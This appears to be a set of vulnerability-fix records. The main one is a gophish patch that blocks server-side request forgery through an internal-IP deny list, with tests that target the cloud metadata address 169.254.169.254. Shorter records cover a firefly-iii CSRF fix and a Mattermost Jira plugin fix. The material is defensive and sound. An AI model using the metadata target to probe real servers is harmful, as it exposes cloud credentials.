To support more secure environments, we introduce the `allowed_internal_hosts` configuration option where an admin can set one or more IP ranges in CIDR format. If addresses are specified here, then all internal connections will be blocked except to these hosts.

There are various bits about this approach I don't really like. For example, since various packages all need this functionality, I had to make the RestrictedDialer a global singleton rather than a dependency off of, say, the admin server. Additionally, since webhooks are implemented via a singleton, I had to introduce a new function, `SetTransport`.

Finally, I had to make an update in the gomail package to support a custom net.Dialer.
---
 config/config.go               |  11 +--
 controllers/api/import.go      |   3 +
 controllers/api/import_test.go |  84 ++++++++++++++++++
 dialer/dialer.go               | 158 +++++++++++++++++++++++++++++++++
 dialer/dialer_test.go          |  85 ++++++++++++++++++
 go.mod                         |   4 +-
 go.sum                         |   6 +-
 gophish.go                     |  10 +++
 imap/imap.go                   |   6 +-
 models/smtp.go                 |   4 +-
 models/smtp_test.go            |  12 +++
 webhook/webhook.go             |   5 ++
 12 files changed, 373 insertions(+), 15 deletions(-)
 create mode 100644 controllers/api/import_test.go
 create mode 100644 dialer/dialer.go
 create mode 100644 dialer/dialer_test.go

diff --git a/config/config.go b/config/config.go
index 4e0451def..98ec6b6a3 100644
--- a/config/config.go
+++ b/config/config.go
@@ -9,11 +9,12 @@ import (
 
 // AdminServer represents the Admin server configuration details
 type AdminServer struct {
-	ListenURL string `json:"listen_url"`
-	UseTLS    bool   `json:"use_tls"`
-	CertPath  string `json:"cert_path"`
-	KeyPath   string `json:"key_path"`
-	CSRFKey   string `json:"csrf_key"`
+	ListenURL            string   `json:"listen_url"`
+	UseTLS               bool     `json:"use_tls"`
+	CertPath             string   `json:"cert_path"`
+	KeyPath              string   `json:"key_path"`
+	CSRFKey              string   `json:"csrf_key"`
+	AllowedInternalHosts []string `json:"allowed_internal_hosts"`
 }
 
 // PhishServer represents the Phish server configuration details
diff --git a/controllers/api/import.go b/controllers/api/import.go
index 7cf96a013..efaf0178b 100644
--- a/controllers/api/import.go
+++ b/controllers/api/import.go
@@ -10,6 +10,7 @@ import (
 	"strings"
 
 	"github.com/PuerkitoBio/goquery"
+	"github.com/gophish/gophish/dialer"
 	log "github.com/gophish/gophish/logger"
 	"github.com/gophish/gophish/models"
 	"github.com/gophish/gophish/util"
@@ -113,7 +114,9 @@ func (as *Server) ImportSite(w http.ResponseWriter, r *http.Request) {
 		JSONResponse(w, models.Response{Success: false, Message: err.Error()}, http.StatusBadRequest)
 		return
 	}
+	restrictedDialer := dialer.Dialer()
 	tr := &http.Transport{
+		DialContext: restrictedDialer.DialContext,
 		TLSClientConfig: &tls.Config{
 			InsecureSkipVerify: true,
 		},
diff --git a/controllers/api/import_test.go b/controllers/api/import_test.go
new file mode 100644
index 000000000..2278de503
--- /dev/null
+++ b/controllers/api/import_test.go
@@ -0,0 +1,84 @@
+package api
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+
+	"github.com/gophish/gophish/dialer"
+	"github.com/gophish/gophish/models"
+)
+
+func makeImportRequest(ctx *testContext, allowedHosts []string, url string) *httptest.ResponseRecorder {
+	orig := dialer.DefaultDialer.AllowedHosts()
+	dialer.SetAllowedHosts(allowedHosts)
+	req := httptest.NewRequest(http.MethodPost, "/api/import/site",
+		bytes.NewBuffer([]byte(fmt.Sprintf(`
+			{
+				"url" : "%s"
+			}
+		`, url))))
+	req.Header.Set("Content-Type", "application/json")
+	response := httptest.NewRecorder()
+	ctx.apiServer.ImportSite(response, req)
+	dialer.SetAllowedHosts(orig)
+	return response
+}
+
+func TestDefaultDeniedImport(t *testing.T) {
+	ctx := setupTest(t)
+	metadataURL := "http://169.254.169.254/latest/meta-data/"
+	response := makeImportRequest(ctx, []string{}, metadataURL)
+	expectedCode := http.StatusBadRequest
+	if response.Code != expectedCode {
+		t.Fatalf("incorrect status code received. expected %d got %d", expectedCode, response.Code)
+	}
+	got := &models.Response{}
+	err := json.NewDecoder(response.Body).Decode(got)
+	if err != nil {
+		t.Fatalf("error decoding body: %v", err)
+	}
+	if !strings.Contains(got.Message, "upstream connection denied") {
+		t.Fatalf("incorrect response error provided: %s", got.Message)
+	}
+}
+
+func TestDefaultAllowedImport(t *testing.T) {
+	ctx := setupTest(t)
+	h := "<html><head></head><body><img src=\"/test.png\"/></body></html>"
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		fmt.Fprintln(w, h)
+	}))
+	defer ts.Close()
+	response := makeImportRequest(ctx, []string{}, ts.URL)
+	expectedCode := http.StatusOK
+	if response.Code != expectedCode {
+		t.Fatalf("incorrect status code received. expected %d got %d", expectedCode, response.Code)
+	}
+}
+
+func TestCustomDeniedImport(t *testing.T) {
+	ctx := setupTest(t)
+	h := "<html><head></head><body><img src=\"/test.png\"/></body></html>"
+	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		fmt.Fprintln(w, h)
+	}))
+	defer ts.Close()
+	response := makeImportRequest(ctx, []string{"192.168.1.1"}, ts.URL)
+	expectedCode := http.StatusBadRequest
+	if response.Code != expectedCode {
+		t.Fatalf("incorrect status code received. expected %d got %d", expectedCode, response.Code)
+	}
+	got := &models.Response{}
+	err := json.NewDecoder(response.Body).Decode(got)
+	if err != nil {
+		t.Fatalf("error decoding body: %v", err)
+	}
+	if !strings.Contains(got.Message, "upstream connection denied") {
+		t.Fatalf("incorrect response error provided: %s", got.Message)
+	}
+}
diff --git a/dialer/dialer.go b/dialer/dialer.go
new file mode 100644
index 000000000..15fb402ee
--- /dev/null
+++ b/dialer/dialer.go
@@ -0,0 +1,158 @@
+package dialer
+
+import (
+	"fmt"
+	"net"
+	"syscall"
+	"time"
+)
+
+// RestrictedDialer is used to create a net.Dialer which restricts outbound
+// connections to only allowlisted IP ranges.
+type RestrictedDialer struct {
+	allowedHosts []*net.IPNet
+}
+
+// DefaultDialer is a global instance of a RestrictedDialer
+var DefaultDialer = &RestrictedDialer{}
+
+// SetAllowedHosts sets the list of allowed hosts or IP ranges for the default
+// dialer.
+func SetAllowedHosts(allowed []string) {
+	DefaultDialer.SetAllowedHosts(allowed)
+}
+
+// AllowedHosts returns the configured hosts that are allowed for the dialer.
+func (d *RestrictedDialer) AllowedHosts() []string {
+	ranges := []string{}
+	for _, ipRange := range d.allowedHosts {
+		ranges = append(ranges, ipRange.String())
+	}
+	return ranges
+}
+
+// SetAllowedHosts sets the list of allowed hosts or IP ranges for the dialer.
+func (d *RestrictedDialer) SetAllowedHosts(allowed []string) error {
+	for _, ipRange := range allowed {
+		// For flexibility, try to parse as an IP first since this will
+		// undoubtedly cause issues. If it works, then just append the
+		// appropriate subnet mask, then parse as CIDR
+		if singleIP := net.ParseIP(ipRange); singleIP != nil {
+			if singleIP.To4() != nil {
+				ipRange += "/32"
+			} else {
+				ipRange += "/128"
+			}
+		}
+		_, parsed, err := net.ParseCIDR(ipRange)
+		if err != nil {
+			return fmt.Errorf("provided ip range is not valid CIDR notation: %v", err)
+		}
+		d.allowedHosts = append(d.allowedHosts, parsed)
+	}
+	return nil
+}
+
+// Dialer returns a net.Dialer that restricts outbound connections to only the
+// addresses allowed by the DefaultDialer.
+func Dialer() *net.Dialer {
+	return DefaultDialer.Dialer()
+}
+
+// Dialer returns a net.Dialer that restricts outbound connections to only the
+// allowed addresses over TCP.
+//
+// By default, since Gophish anticipates connections originating to hosts on
+// the local network, we only deny access to the link-local addresses at
+// 169.254.0.0/16.
+//
+// If hosts are provided, then Gophish blocks access to all local addresses
+// except the ones provided.
+//
+// This implementation is based on the blog post by Andrew Ayer at
+// https://www.agwa.name/blog/post/preventing_server_side_request_forgery_in_golang
+func (d *RestrictedDialer) Dialer() *net.Dialer {
+	return &net.Dialer{
+		Timeout:   30 * time.Second,
+		KeepAlive: 30 * time.Second,
+		Control:   restrictedControl(d.allowedHosts),
+	}
+}
+
+// defaultDeny represents the list of IP ranges that we want to block unless
+// explicitly overriden.
+var defaultDeny = []string{
+	"169.254.0.0/16", // Link-local (used for VPS instance metadata)
+}
+
+// allInternal represents all internal hosts such that the only connections
+// allowed are external ones.
+var allInternal = []string{
+	"0.0.0.0/8",
+	"127.0.0.0/8",        // IPv4 loopback
+	"10.0.0.0/8",         // RFC1918
+	"100.64.0.0/10",      // CGNAT
+	"172.16.0.0/12",      // RFC1918
+	"169.254.0.0/16",     // RFC3927 link-local
+	"192.88.99.0/24",     // IPv6 to IPv4 Relay
+	"192.168.0.0/16",     // RFC1918
+	"198.51.100.0/24",    // TEST-NET-2
+	"203.0.113.0/24",     // TEST-NET-3
+	"224.0.0.0/4",        // Multicast
+	"240.0.0.0/4",        // Reserved
+	"255.255.255.255/32", // Broadcast
+	"::/0",               // Default route
+	"::/128",             // Unspecified address
+	"::1/128",            // IPv6 loopback
+	"::ffff:0:0/96",      // IPv4 mapped addresses.
+	"::ffff:0:0:0/96",    // IPv4 translated addresses.
+	"fe80::/10",          // IPv6 link-local
+	"fc00::/7",           // IPv6 unique local addr
+}
+
+type dialControl = func(network, address string, c syscall.RawConn) error
+
+type restrictedDialer struct {
+	*net.Dialer
+	allowed []string
+}
+
+func restrictedControl(allowed []*net.IPNet) dialControl {
+	return func(network string, address string, conn syscall.RawConn) error {
+		if !(network == "tcp4" || network == "tcp6") {
+			return fmt.Errorf("%s is not a safe network type", network)
+		}
+
+		host, _, err := net.SplitHostPort(address)
+		if err != nil {
+			return fmt.Errorf("%s is not a valid host/port pair: %s", address, err)
+		}
+
+		ip := net.ParseIP(host)
+		if ip == nil {
+			return fmt.Errorf("%s is not a valid IP address", host)
+		}
+
+		denyList := defaultDeny
+		if len(allowed) > 0 {
+			denyList = allInternal
+		}
+
+		for _, ipRange := range allowed {
+			if ipRange.Contains(ip) {
+				return nil
+			}
+		}
+
+		for _, ipRange := range denyList {
+			_, parsed, err := net.ParseCIDR(ipRange)
+			if err != nil {
+				return fmt.Errorf("error parsing denied range: %v", err)
+			}
+			if parsed.Contains(ip) {
+				return fmt.Errorf("upstream connection denied to internal host")
+			}
+		}
+		return nil
+	}
+}
diff --git a/dialer/dialer_test.go b/dialer/dialer_test.go
new file mode 100644
index 000000000..0b70b1a9f
--- /dev/null
+++ b/dialer/dialer_test.go
@@ -0,0 +1,85 @@
+package dialer
+
+import (
+	"fmt"
+	"net"
+	"strings"
+	"syscall"
+	"testing"
+)
+
+func TestDefaultDeny(t *testing.T) {
+	control := restrictedControl([]*net.IPNet{})
+	host := "169.254.169.254"
+	expected := fmt.Errorf("upstream connection denied to internal host at %s", host)
+	conn := new(syscall.RawConn)
+	got := control("tcp4", fmt.Sprintf("%s:80", host), *conn)
+	if !strings.Contains(got.Error(), "upstream connection denied") {
+		t.Fatalf("unexpected error dialing denylisted host. expected %v got %v", expected, got)
+	}
+}
+
+func TestDefaultAllow(t *testing.T) {
+	control := restrictedControl([]*net.IPNet{})
+	host := "1.1.1.1"
+	conn := new(syscall.RawConn)
+	got := control("tcp4", fmt.Sprintf("%s:80", host), *conn)
+	if got != nil {
+		t.Fatalf("error dialing allowed host. got %v", got)
+	}
+}
+
+func TestCustomAllow(t *testing.T) {
+	host := "127.0.0.1"
+	_, ipRange, _ := net.ParseCIDR(fmt.Sprintf("%s/32", host))
+	allowed := []*net.IPNet{ipRange}
+	control := restrictedControl(allowed)
+	conn := new(syscall.RawConn)
+	got := control("tcp4", fmt.Sprintf("%s:80", host), *conn)
+	if got != nil {
+		t.Fatalf("error dialing allowed host. got %v", got)
+	}
+}
+
+func TestCustomDeny(t *testing.T) {
+	host := "127.0.0.1"
+	_, ipRange, _ := net.ParseCIDR(fmt.Sprintf("%s/32", host))
+	allowed := []*net.IPNet{ipRange}
+	control := restrictedControl(allowed)
+	conn := new(syscall.RawConn)
+	expected := fmt.Errorf("upstream connection denied to internal host at %s", host)
+	got := control("tcp4", "192.168.1.2:80", *conn)
+	if !strings.Contains(got.Error(), "upstream connection denied") {
+		t.Fatalf("unexpected error dialing denylisted host. expected %v got %v", expected, got)
+	}
+}
+
+func TestSingleIP(t *testing.T) {
+	orig := DefaultDialer.AllowedHosts()
+	host := "127.0.0.1"
+	DefaultDialer.SetAllowedHosts([]string{host})
+	control := DefaultDialer.Dialer().Control
+	conn := new(syscall.RawConn)
+	expected := fmt.Errorf("upstream connection denied to internal host at %s", host)
+	got := control("tcp4", "192.168.1.2:80", *conn)
+	if !strings.Contains(got.Error(), "upstream connection denied") {
+		t.Fatalf("unexpected error dialing denylisted host. expected %v got %v", expected, got)
+	}
+
+	host = "::1"
+	DefaultDialer.SetAllowedHosts([]string{host})
+	control = DefaultDialer.Dialer().Control
+	conn = new(syscall.RawConn)
+	expected = fmt.Errorf("upstream connection denied to internal host at %s", host)
+	got = control("tcp4", "192.168.1.2:80", *conn)
+	if !strings.Contains(got.Error(), "upstream connection denied") {
+		t.Fatalf("unexpected error dialing denylisted host. expected %v got %v", expected, got)
+	}
+
+	// Test an allowed connection
+	got = control("tcp4", fmt.Sprintf("[%s]:80", host), *conn)
+	if got != nil {
+		t.Fatalf("error dialing allowed host. got %v", got)
+	}
+	DefaultDialer.SetAllowedHosts(orig)
+}
diff --git a/go.mod b/go.mod
index e0649971f..6fc6a4324 100644
--- a/go.mod
+++ b/go.mod
@@ -11,7 +11,7 @@ require (
 	github.com/emersion/go-imap v1.0.4
 	github.com/emersion/go-message v0.12.0
 	github.com/go-sql-driver/mysql v1.5.0
-	github.com/gophish/gomail v0.0.0-20180314010319-cf7e1a5479be
+	github.com/gophish/gomail v0.0.0-20200818021916-1f6d0dfd512e
 	github.com/gorilla/context v1.1.1
 	github.com/gorilla/csrf v1.6.2
 	github.com/gorilla/handlers v1.4.2
@@ -29,7 +29,5 @@ require (
 	golang.org/x/crypto v0.0.0-20200128174031-69ecbb4d6d5d
 	golang.org/x/time v0.0.0-20200416051211-89c76fbcd5d1
 	gopkg.in/alecthomas/kingpin.v2 v2.2.6
-	gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc // indirect
 	gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405
-	gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df // indirect
 )
diff --git a/go.sum b/go.sum
index ede800857..c9bae1df7 100644
--- a/go.sum
+++ b/go.sum
@@ -32,8 +32,8 @@ github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LB
 github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe h1:lXe2qZdvpiX5WZkZR4hgp4KJVfY3nMkvmwbVkpv1rVY=
 github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe/go.mod h1:8vg3r2VgvsThLBIFL93Qb5yWzgyZWhEmBwUJWevAkK0=
 github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
-github.com/gophish/gomail v0.0.0-20180314010319-cf7e1a5479be h1:VTe1cdyqSi/wLowKNz/shz6E0G+9/XzldZbyAmt+0Yw=
-github.com/gophish/gomail v0.0.0-20180314010319-cf7e1a5479be/go.mod h1:MpSuP7kw+gRy2z+4gIFZeF3DwhhdQhEXwRmPVQYD9ig=
+github.com/gophish/gomail v0.0.0-20200818021916-1f6d0dfd512e h1:URNpXdOxXAfuZ8wsr/DY27KTffVenKDjtNVAEwcR2Oo=
+github.com/gophish/gomail v0.0.0-20200818021916-1f6d0dfd512e/go.mod h1:JGlHttcLdDp3F4g8bPHqqQnUUDuB3poB4zLXozQ0xCY=
 github.com/gorilla/context v1.1.1 h1:AWwleXJkX/nhcU9bZSnZoi3h/qGYqQAGhq6zZe/aQW8=
 github.com/gorilla/context v1.1.1/go.mod h1:kBGZzfjB9CEq2AlWe17Uuf7NDRt0dE0s8S51q0aT7Yg=
 github.com/gorilla/csrf v1.6.2 h1:QqQ/OWwuFp4jMKgBFAzJVW3FMULdyUW7JoM4pEWuqKg=
@@ -110,7 +110,5 @@ gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc h1:2gG
 gopkg.in/alexcesaro/quotedprintable.v3 v3.0.0-20150716171945-2caba252f4dc/go.mod h1:m7x9LTH6d71AHyAX77c9yqWCCa3UKHcVEj9y7hAtKDk=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
 gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
-gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df h1:n7WqCuqOuCbNr617RXOY0AWRXxgwEyPp2z+p0+hgMuE=
-gopkg.in/gomail.v2 v2.0.0-20160411212932-81ebce5c23df/go.mod h1:LRQQ+SO6ZHR7tOkpBDuZnXENFzX8qRjMDMyPD6BRkCw=
 gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw=
 gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
diff --git a/gophish.go b/gophish.go
index 71ae7e8c8..67ccab16f 100644
--- a/gophish.go
+++ b/gophish.go
@@ -28,6 +28,7 @@ THE SOFTWARE.
 import (
 	"fmt"
 	"io/ioutil"
+	"net/http"
 	"os"
 	"os/signal"
 
@@ -35,10 +36,12 @@ import (
 
 	"github.com/gophish/gophish/config"
 	"github.com/gophish/gophish/controllers"
+	"github.com/gophish/gophish/dialer"
 	"github.com/gophish/gophish/imap"
 	log "github.com/gophish/gophish/logger"
 	"github.com/gophish/gophish/middleware"
 	"github.com/gophish/gophish/models"
+	"github.com/gophish/gophish/webhook"
 )
 
 const (
@@ -79,6 +82,13 @@ func main() {
 	}
 	config.Version = string(version)
 
+	// Configure our various upstream clients to make sure that we restrict
+	// outbound connections as needed.
+	dialer.SetAllowedHosts(conf.AdminConf.AllowedInternalHosts)
+	webhook.SetTransport(&http.Transport{
+		DialContext: dialer.Dialer().DialContext,
+	})
+
 	err = log.Setup(conf.Logging)
 	if err != nil {
 		log.Fatal(err)
diff --git a/imap/imap.go b/imap/imap.go
index 7e0561761..aa76a4af2 100644
--- a/imap/imap.go
+++ b/imap/imap.go
@@ -11,6 +11,7 @@ import (
 	"github.com/emersion/go-imap"
 	"github.com/emersion/go-imap/client"
 	"github.com/emersion/go-message/charset"
+	"github.com/gophish/gophish/dialer"
 	log "github.com/gophish/gophish/logger"
 	"github.com/gophish/gophish/models"
 
@@ -184,12 +185,13 @@ func (mbox *Mailbox) GetUnread(markAsRead, delete bool) ([]Email, error) {
 func (mbox *Mailbox) newClient() (*client.Client, error) {
 	var imapClient *client.Client
 	var err error
+	restrictedDialer := dialer.Dialer()
 	if mbox.TLS {
 		config := new(tls.Config)
 		config.InsecureSkipVerify = mbox.IgnoreCertErrors
-		imapClient, err = client.DialTLS(mbox.Host, config)
+		imapClient, err = client.DialWithDialerTLS(restrictedDialer, mbox.Host, config)
 	} else {
-		imapClient, err = client.Dial(mbox.Host)
+		imapClient, err = client.DialWithDialer(restrictedDialer, mbox.Host)
 	}
 	if err != nil {
 		return imapClient, err
diff --git a/models/smtp.go b/models/smtp.go
index 8ca8485ba..cd4d4e232 100644
--- a/models/smtp.go
+++ b/models/smtp.go
@@ -10,6 +10,7 @@ import (
 	"time"
 
 	"github.com/gophish/gomail"
+	"github.com/gophish/gophish/dialer"
 	log "github.com/gophish/gophish/logger"
 	"github.com/gophish/gophish/mailer"
 	"github.com/jinzhu/gorm"
@@ -109,7 +110,8 @@ func (s *SMTP) GetDialer() (mailer.Dialer, error) {
 		log.Error(err)
 		return nil, err
 	}
-	d := gomail.NewDialer(host, port, s.Username, s.Password)
+	dialer := dialer.Dialer()
+	d := gomail.NewWithDialer(dialer, host, port, s.Username, s.Password)
 	d.TLSConfig = &tls.Config{
 		ServerName:         host,
 		InsecureSkipVerify: s.IgnoreCertErrors,
diff --git a/models/smtp_test.go b/models/smtp_test.go
index 7ffbaadf9..b559c2829 100644
--- a/models/smtp_test.go
+++ b/models/smtp_test.go
@@ -81,3 +81,15 @@ func (s *ModelsSuite) TestGetInvalidSMTP(ch *check.C) {
 	_, err := GetSMTP(-1, 1)
 	ch.Assert(err, check.Equals, gorm.ErrRecordNotFound)
 }
+
+func (s *ModelsSuite) TestDefaultDeniedDial(ch *check.C) {
+	host := "169.254.169.254"
+	port := 25
+	smtp := SMTP{
+		Host: fmt.Sprintf("%s:%d", host, port),
+	}
+	d, err := smtp.GetDialer()
+	ch.Assert(err, check.Equals, nil)
+	_, err = d.Dial()
+	ch.Assert(err, check.ErrorMatches, ".*upstream connection denied.*")
+}
diff --git a/webhook/webhook.go b/webhook/webhook.go
index 0ce281b46..92ee20bf6 100644
--- a/webhook/webhook.go
+++ b/webhook/webhook.go
@@ -51,6 +51,11 @@ var senderInstance = &defaultSender{
 	},
 }
 
+// SetTransport sets the underlying transport for the default webhook client.
+func SetTransport(tr *http.Transport) {
+	senderInstance.client.Transport = tr
+}
+
 // EndPoint represents a URL to send the webhook to, as well as a secret used
 // to sign the event
 type EndPoint struct {", "url": "https://github.com/gophish/gophish/commit/e3352f481e94054ffe08494c9225d3878347b005.patch" } ]
n/a
CVE-2021-4005
Cross-Site Request Forgery (CSRF) in firefly-iii/firefly-iii
firefly-iii is vulnerable to Cross-Site Request Forgery (CSRF)
[ { "commit_message": "[PATCH] Fix. resources/views/v1/profile/index.twig | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-)", "patch_text_b64": "RnJvbSAwM2ExNjAxYmYzNDMxODFkZjlmNDA1ZGQyMTA5YWVjNDgzY2I3MDUzIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiBKYW1lcyBDb2xlIDxqYW1lc0BmaXJlZmx5LWlpaS5vcmc+CkRhdGU6IFdlZCwgMjQgTm92IDIwMjEgMjA6MDQ6MzkgKzAxMDAKU3ViamVjdDogW1BBVENIXSBGaXguCgotLS0KIHJlc291cmNlcy92aWV3cy92MS9wcm9maWxlL2luZGV4LnR3aWcgfCA5ICsrKysrLS0tLQogMSBmaWxlIGNoYW5nZWQsIDUgaW5zZXJ0aW9ucygrKSwgNCBkZWxldGlvbnMoLSkKCmRpZmYgLS1naXQgYS9yZXNvdXJjZXMvdmlld3MvdjEvcHJvZmlsZS9pbmRleC50d2lnIGIvcmVzb3VyY2VzL3ZpZXdzL3YxL3Byb2ZpbGUvaW5kZXgudHdpZwppbmRleCA1NjZjZjVkY2Y0ZS4uYmYwMWI1NDExYmUgMTAwNjQ0Ci0tLSBhL3Jlc291cmNlcy92aWV3cy92MS9wcm9maWxlL2luZGV4LnR3aWcKKysrIGIvcmVzb3VyY2VzL3ZpZXdzL3YxL3Byb2ZpbGUvaW5kZXgudHdpZwpAQCAtMTA3LDcgKzEwNyw3IEBACiAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJveCBib3gtZGVmYXVsdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJib3gtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9InRleHQtaW5mbyI+e3sgJ3ByZWZfdHdvX2ZhY3Rvcl9hdXRoX2hlbHAnfF8gfX08L3A+Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgeyUgaWYgZW5hYmxlZDJGQSA9PSBmYWxzZSAlfQorICAgICAgICAgICAgICAgICAgICAgICAgICAgIHslIGlmIGVuYWJsZWQyRkEgPT0gdHJ1ZSAlfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0idGV4dC1pbmZvIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHt7IHRyYW5zX2Nob2ljZSgnZmlyZWZseS5wcmVmX3R3b19mYWN0b3JfYmFja3VwX2NvZGVfY291bnQnLCBtZmFCYWNrdXBDb3VudCkgfX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9wPgpAQCAtMTE2LDEwICsxMTYsMTEgQEAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4gYnRuLWluZm8iIGhyZWY9Int7IHJvdXRlKCdwcm9maWxlLmNvZGUnKSB9fSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZhIGZhLXJlY3ljbGUiPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7eyAncHJlZl90d29fZmFjdG9yX2F1dGhfcmVzZXRfY29kZSd8XyB9fTwvYT4KLSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4gYnRuLWRhbmdlciIgaHJlZj0ie3sgcm91dGUoJ3Byb2ZpbGUuZGVsZXRlLWNvZGUnKSB9fSI+Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImZhIGZhLXRyYXNoIj48L3NwYW4+Ci0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAge3sgJ3ByZWZfdHdvX2ZhY3Rvcl9hdXRoX2Rpc2FibGVfMmZhJ3xfIH19PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249Int7IHJvdXRlKCdwcm9maWxlLmRlbGV0ZS1jb2RlJykgfX0iPgorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX3Rva2VuIiB2YWx1ZT0ie3sgY3NyZl90b2tlbigpIH19IiAvPgorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJidG4gYnRuLWRhbmdlciIgc3R5bGU9Im1hcmdpbi10b3A6MjBweDsiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0ie3sgJ3ByZWZfdHdvX2ZhY3Rvcl9hdXRoX2Rpc2FibGVfMmZhJ3xfIH19IiAvPgorICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJ7eyByb3V0ZSgncHJvZmlsZS5uZXctYmFja3VwLWNvZGVzJykgfX0iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iX3Rva2VuIiB2YWx1ZT0ie3sgY3NyZl90b2tlbigpIH19IiAvPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJidG4gYnRuLWRlZmF1bHQiIHN0eWxlPSJtYXJnaW4tdG9wOjIwcHg7IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9Int7ICdwcmVmX3R3b19mYWN0b3JfbmV3X2JhY2t1cF9jb2Rlcyd8XyB9fSIgLz4=", "url": "https://github.com/firefly-iii/firefly-iii/commit/03a1601bf343181df9f405dd2109aec483cb7053.patch" } ]
CWE-352 Cross-Site Request Forgery (CSRF)
GHSA-qr8f-cjw7-838m
Mattermost Jira Plugin does not properly check security levels
null
[ { "commit_message": "[PATCH] [MM-44185] Add conditions for subscription validation (#858) * ensure user has access to selected sec level. disallow \"exclude\" clauses for sec level * if a subscription has no configured sec level, assume the issue should have a blank sec level * add test data file * fix ci withL npm install --verbose * enforce empty during webhook call if exclude is being used * add plugin setting to toggle security level functionality * fix tests * add form validation for securitylevel field * change plugin setting to bool * change plugin setting description * WIP * show message about security level under JQL query * extract if statement into function * fix issues from ci * fix merge issues and lint Co-authored-by: Mattermod <mattermod@users.noreply.github.com> Co-authored-by: Mattermost Build <build@mattermost.com> Makefile | 1 - go.mod | 2 +- plugin.json | 8 + server/issue.go | 13 +- server/issue_test.go | 23 ++ server/plugin.go | 3 + server/subscribe.go | 133 +++++++-- server/subscribe_test.go | 278 +++++++++++++++++- ...ook-issue-created-with-security-level.json | 238 +++++++++++++++ server/user.go | 7 +- ...channel_subscription_filters.test.tsx.snap | 1 + .../edit_channel_subscription.test.tsx.snap | 12 +- .../channel_subscription_filter.test.tsx | 58 ++++ .../channel_subscription_filter.tsx | 33 ++- .../channel_subscription_filters.test.tsx | 1 + .../channel_subscription_filters.tsx | 4 +- .../edit_channel_subscription.test.tsx | 9 +- .../edit_channel_subscription.tsx | 20 +- .../modals/channel_subscriptions/index.ts | 5 +- .../channel_subscriptions/shared_props.ts | 1 + webapp/src/utils/jira_issue_metadata.tsx | 22 +- webapp/src/utils/styles.ts | 1 + 22 files changed, 828 insertions(+), 45 deletions(-) create mode 100644 server/testdata/webhook-issue-created-with-security-level.json", "patch_text_b64": "From 5f5e084d169bf6b82d5c46a7a7eb033e1a01c6de Mon Sep 17 00:00:00 2001
From: Michael Kochell <6913320+mickmister@users.noreply.github.com>
Date: Tue, 2 May 2023 18:37:20 -0400
Subject: [PATCH] [MM-44185] Add conditions for subscription validation (#858)

* ensure user has access to selected sec level. disallow "exclude" clauses for sec level

* if a subscription has no configured sec level, assume the issue should have a blank sec level

* add test data file

* fix ci withL npm install --verbose

* enforce empty during webhook call if exclude is being used

